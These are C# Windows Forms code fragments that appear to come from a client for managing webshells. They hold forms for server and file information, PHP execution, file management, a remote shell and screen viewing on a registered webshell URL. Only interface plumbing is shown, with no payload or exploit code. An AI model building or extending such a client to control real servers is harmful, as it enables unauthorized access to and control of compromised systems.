public informationsForm(Webshell selectedWs) { this.selectedWebShell = selectedWs; InitializeComponent(); this.Text = "Server Information - " + selectedWs.getUrl(); refreshListViewInfos(selectedWebShell); }
public fileInformationsForm(Webshell currentWs, string selectedFilePath) { this.path = selectedFilePath; this.ws = currentWs; InitializeComponent(); this.Text = "File Information - " + selectedFilePath; refreshListViewInfos(this.ws, this.path); }
public void refreshListViewInfos(Webshell pWs, string pPath) { IDictionary <string, string> inf = ws.fileInformation(pPath); foreach (KeyValuePair <string, string> oneInformation in inf) { lvInformations.Items.Add(new ListViewItem(new string[] { oneInformation.Key, oneInformation.Value })); } }
public void refreshListViewInfos(Webshell ws) { IDictionary <string, string> inf = ws.queryInformation(ws.getUrl(), ws.getParam()); foreach (KeyValuePair <string, string> oneInformation in inf) { lvInformations.Items.Add(new ListViewItem(new string[] { oneInformation.Key, oneInformation.Value })); } }
private void btnAdd_Click(object sender, EventArgs e) { if (isNotDuplicate(tbURL.Text)) { if (isValid(tbURL.Text, tbParam.Text)) { Webshell newWS = new Webshell(tbURL.Text, tbParam.Text); webshells.Add(newWS); parentfrm.refreshListViewInfos(); this.Close(); } } else { MessageBox.Show("this webshell is already registered"); } }
public phpForm(Webshell selected) { this.selectedWebShell = selected; InitializeComponent(); this.Text = "Php Exec - " + selected.getUrl(); }
public fileManagerForm(Webshell selected) { this.selectedWebShell = selected; InitializeComponent(); this.Text = "File Manager - " + selected.getUrl(); }
public shellForm(Webshell selected) { this.selectedWebShell = selected; InitializeComponent(); this.Text = "Shell - " + selected.getUrl(); }
public screenshotForm(Webshell selected) { this.selectedWebShell = selected; InitializeComponent(); this.Text = "Screenviewer - " + selected.getUrl(); }